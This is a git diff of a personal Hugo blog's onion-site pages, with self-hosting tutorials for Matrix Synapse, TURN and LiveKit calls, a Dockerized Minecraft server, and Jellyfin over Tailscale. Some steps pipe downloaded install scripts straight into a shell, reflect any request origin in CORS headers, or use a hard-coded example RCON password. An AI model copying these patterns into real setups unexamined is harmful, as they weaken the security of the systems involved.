    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

    +
    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    +
    ERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false.
    +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    +
    Access-Control-Allow-Origin cannot contain more than one origin.
    +Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks.
    +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSpglxAArFNgxheR8m2r6QvtoEuHJwI51WQteu+0un0FiIfHKtFPcXd2HiVqzODu
    +YZvIGCAecMURQMRvrgB8cO3ebY8Yi9EECnC1sHsluE05GOuro5Htja7TbsGxwTc3
    +PIe+zju7lIhTHonqLogUyyunhWxOfg1RCaSjp3n6k/r2iEamgKu6Cihrv54wstGa
    +SVJbwubie1D9TPcXU3ynC+ynNBcmVevFl7g/X7Ie8Pw0SP1dJF+we5iVqUrZgPO2
    +AudHlWRm13j7Xifv/JxqymkZV1XiShIY8Mb0Ju8m5+HjkoIaZDtSfFyt+AwPdHDQ
    +m3sMXA7yZUvy+pXtziwrOnHFAez22goAr9Ar9KcwGQgRvyxKuuKIuTq+yxtCuXBF
    +fPWo5pL0rMtIfwRyaiiX9bwV+WbBXNhghTPnaxuQ3CWkLdiwaycI7xPDAg8FzFAR
    +7yoN0vqhKSvZlAL1OQS+4yRcXnguq7UY9UF+drG0f0QpC3aht1QgrJ04gvDp2BOk
    +ymmlxCxUWQrFSqDThjv7WFCclamKTimCODKWvIG6sjQcJuLCg9CXRl+ZMvwobQqH
    +Tv8cm8PMimqJppUodB3Ig5zP3ZkVcK8uFm5XqoUnasqDVLLJaRcCu+Qt4h9gZ2w6
    +Q3Q6K/zPZcKEIrwJfczWotSgG0g8dnuMUUYALWTbRrGjN0mgCss=
    +=yHZZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/matrix_setup.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/matrix_setup.md.asc
    +gpg --verify matrix_setup.md.asc matrix_setup.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/matrix/page/1/index.html b/public-onion/tags/matrix/page/1/index.html new file mode 100644 index 0000000..d8b895a --- /dev/null +++ b/public-onion/tags/matrix/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/matrix/ + + + + + + diff --git a/public-onion/tags/minecraft/index.html b/public-onion/tags/minecraft/index.html new file mode 100644 index 0000000..d80576f --- /dev/null +++ b/public-onion/tags/minecraft/index.html @@ -0,0 +1,352 @@ + + + + + + + +Minecraft | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases +

    +
    +
    +

    How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

    +
    +
    September 29, 2025 · 3 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/minecraft/index.xml b/public-onion/tags/minecraft/index.xml new file mode 100644 index 0000000..8083f51 --- /dev/null +++ b/public-onion/tags/minecraft/index.xml @@ -0,0 +1,185 @@ + + + + Minecraft on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/minecraft/ + Recent content in Minecraft on AlipourIm journeys + Hugo -- 0.146.0 + en + Mon, 29 Sep 2025 09:06:29 +0000 + + + Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/ + Mon, 29 Sep 2025 09:06:29 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/ + How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release. + Why +

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    +
      +
    • failed to register layer: ... no space left on device
    • +
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • +
    • Wanting config in a neat .env and no whitelist
    • +
    +

    Here’s exactly what I did.

    +
    +

    Folder layout

    +
    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    +

    .env (secrets & knobs)

    +

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    +
    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

    +
    +

    docker-compose.yml

    +
    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +
    +

    The version: key in Compose is obsolete now, so I dropped it.

    +
    +

    Add Geyser (and optional Floodgate) as plugins

    +
    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    +
    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

    +
    +

    Hit a wall: /var ran out of space

    +

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    +
    /dev/mapper/ubuntu--vg-var   3.9G  3.4G  333M  92% /var
    +

    Quick cleanup

    +
    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    +

    Option A — Move Docker’s data off /var

    +
    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    +
    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    +

    Check free space in the VG:

    +
    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    +
    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    +

    The version mismatch: pre-release vs stable

    +

    My logs showed:

    +
    Starting minecraft server version 1.21.9 Pre-Release 2
    +

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    +
      +
    1. Ensure .env has: +
      VERSION=LATEST_RELEASE
      +
    2. +
    3. Recreate: +
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    4. +
    5. Verify: +
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +
    6. +
    +
    +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

    +
    +

    No whitelist

    +

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    +
    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).

    +
    +

    Backup & updates

    +
      +
    • World/data live under the mc-data volume → back up /data regularly.
    • +
    • Update cleanly: +
      docker compose pull && docker compose up -d
      +
    • +
    • Watch space: +
      watch -n5 'df -h /var; docker system df'
      +
    • +
    +
    +

    TL;DR

    +
      +
    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • +
    • Keep configs in .env.
    • +
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • +
    • Verify version in logs after each change.
    • +
    +

    Happy block-breaking! 🧱🚀

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSrrmBAAuVoSvB3tRIzD+N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy
    +Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV
    +0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw
    +7p/hYijX0vGJ8+WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA
    +JWQAyEUu3Vx/U0BnN6R9Lne+5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7
    +OzvAT5XXRS5Q6Udc7Nsa9T/OYG+elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc
    +s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz+UbLDz
    +g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r
    +NrClzg0Vujk/3zP/6yhCL7I0SwQ+NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH
    +F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl+LNOWXf/gomXH6Tqm9vnWr/aX
    +sczdH6N2E0+7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M=
    +=NmxL
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/minecraft_server.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/minecraft_server.md.asc
    +gpg --verify minecraft_server.md.asc minecraft_server.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/minecraft/page/1/index.html b/public-onion/tags/minecraft/page/1/index.html new file mode 100644 index 0000000..5289e8a --- /dev/null +++ b/public-onion/tags/minecraft/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/minecraft/ + + + + + + diff --git a/public-onion/tags/movienight/index.html b/public-onion/tags/movienight/index.html new file mode 100644 index 0000000..ad4f170 --- /dev/null +++ b/public-onion/tags/movienight/index.html @@ -0,0 +1,353 @@ + + + + + + + +Movienight | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4 +

    +
    +
    +

    Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours. +...

    +
    +
    December 21, 2025 · 9 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/movienight/index.xml b/public-onion/tags/movienight/index.xml new file mode 100644 index 0000000..a8b049d --- /dev/null +++ b/public-onion/tags/movienight/index.xml @@ -0,0 +1,130 @@ + + + + Movienight on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/movienight/ + Recent content in Movienight on AlipourIm journeys + Hugo -- 0.146.0 + en + Sun, 21 Dec 2025 09:30:00 +0100 + + + Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/boredom/ + Sun, 21 Dec 2025 09:30:00 +0100 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/boredom/ + A cozy, slightly chaotic, very fun setup story: turning a Raspberry Pi 4 into a private movie-night server with Jellyfin, Docker, and Tailscale—starting on microSD and graduating to SSD later. + Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours.

    +

    I wanted the kind of movie night where everyone presses play at the same moment, laughs at the same joke, and groans at the same plot twist—even when we’re scattered across different apartments and time zones. I also wanted it to be a little nerdy, a little elegant, and the kind of project that makes you feel like you own your gadgets again. Enter: a Raspberry Pi 4 (8GB), Jellyfin, and Tailscale.

    +

    This post is the “how it went” and the “how to do it” version. It’s written for the future-me who will forget everything the second it works, and for anyone who wants a private streaming setup without punching holes in their router for the entire internet to poke at.

    +

    The idea

    +

    Jellyfin is the media server that turns your own movie files into a nice Netflix-like library. Tailscale is the secret tunnel that lets your friends reach your server as if they were sitting on your Wi‑Fi—without you exposing ports to the public internet. Docker is the little shipping container that keeps everything tidy and portable, which matters because I started on a microSD card and planned to move to an SSD later.

    +

    The trick to making a Raspberry Pi feel “fast enough” is to avoid video transcoding whenever possible. When Jellyfin can “direct play” a file, the Pi mostly just serves bytes. When it has to transcode, it suddenly feels like you asked a hamster to tow a car. So the theme of this build is compatibility: store media in formats that phones, browsers, and TVs can play directly.

    +

    What you need

    +

    My setup uses Ubuntu (64-bit is the long-term-friendly choice), a Raspberry Pi 4, a microSD card to get started, and eventually a USB 3 SSD for real “server vibes.” You’ll also want a folder of movies you’re allowed to stream to your friends. Streaming DRM content from Netflix or rental platforms through Jellyfin isn’t supported, and I’m intentionally keeping this firmly in the “your own files” lane.

    +

    Step one: choose a home for your stuff

    +

    Before installing anything, I picked paths that would survive my future SSD upgrade. The idea is simple: keep all persistent app data under one directory, keep all media under another directory, and let Docker mount those paths into containers.

    +

    On the Pi, I created a little directory neighborhood under /srv:

    +
    sudo mkdir -p /srv/jellyfin/{config,cache} /srv/media /srv/compose/jellyfin
    +sudo chown -R $USER:$USER /srv
    +

    If you’re not ready to move movies into /srv/media yet, that’s okay. The important part is that you pick a place you can later mount your SSD onto without rewriting your whole setup.

    +

    Step two: install Docker and start thinking in containers

    +

    I installed Docker and verified that docker compose worked. After that, everything became a file called docker-compose.yml and the comforting feeling that I can rebuild my server from a single folder if life gets weird.

    +

    A typical install flow on Raspberry Pi OS looks like this:

    +
    sudo apt update
    +sudo apt install -y ca-certificates curl
    +curl -fsSL https://get.docker.com | sh
    +sudo usermod -aG docker $USER
    +newgrp docker
    +docker --version
    +docker compose version
    +

    Now for the part that feels like summoning a friendly daemon.

    +

    Step three: Jellyfin, running happily in Docker

    +

    In /srv/compose/jellyfin/docker-compose.yml, I defined a Jellyfin service and mounted my config, cache, and media directories into it. The key mental shift is that Jellyfin can only see what you mount into the container. If you try to browse to /home/hub/Documents/movies from inside the Jellyfin UI and it looks like the folder doesn’t exist, it’s not being dramatic—it genuinely can’t see it. Containers are like that.

    +

    Here’s a simple docker-compose.yml that works well on a Pi:

    +
    services:
    +  jellyfin:
    +    image: jellyfin/jellyfin:latest
    +    container_name: jellyfin
    +    user: "1000:1000"
    +    ports:
    +      - "8096:8096/tcp"
    +      - "7359:7359/udp"
    +    volumes:
    +      - /srv/jellyfin/config:/config
    +      - /srv/jellyfin/cache:/cache
    +      - /srv/media:/media
    +    restart: unless-stopped
    +

    If your user isn’t UID 1000, check it with id -u and id -g, then update the user: line accordingly.

    +

    I started Jellyfin like this:

    +
    cd /srv/compose/jellyfin
    +docker compose up -d
    +

    After that, Jellyfin lived at http://<pi-lan-ip>:8096 on my home network, which is the most satisfying “it’s alive” moment of the whole build.

    +

    Step four: Tailscale, the magic door for friends

    +

    Now comes the part that makes everything feel effortless. Instead of forwarding ports, configuring certificates, and hoping I didn’t accidentally publish my server to the open ocean, I installed Tailscale on the Pi host.

    +
    curl -fsSL https://tailscale.com/install.sh | sh
    +sudo tailscale up
    +tailscale ip -4
    +

    That last command gives you a 100.x.y.z address. It’s your Pi’s Tailscale IP, and it’s the address your friends will use to reach Jellyfin. From anywhere, the server becomes:

    +
    http://100.x.y.z:8096
    +

    Or if you enabled magicDNS:

    +
    http://rpi:8096
    +

    The moment you can open that URL from your phone on mobile data and see your own server is the moment you start plotting your next homelab project.

    +

    If you want friends to access only this server and not everything else in your tailnet, Tailscale has a device sharing flow that’s perfect for “here’s the Pi, please don’t look in the rest of my digital house.”

    +

    Step five: create a Jellyfin user for your friend

    +

    Jellyfin accounts are local to your server. Your friend won’t “sign up” on some global Jellyfin site; instead, you create a user for them inside your Jellyfin admin dashboard. The nice part is that you can give them access only to the libraries you want, and you can keep admin permissions to yourself.

    +

    If typing passwords on a TV app makes you feel old instantly, Jellyfin’s Quick Connect feature can make logins much smoother. Your friend gets a short code on their device, you approve it from your logged-in browser, and nobody has to poke letters into a remote control one by one.

    +

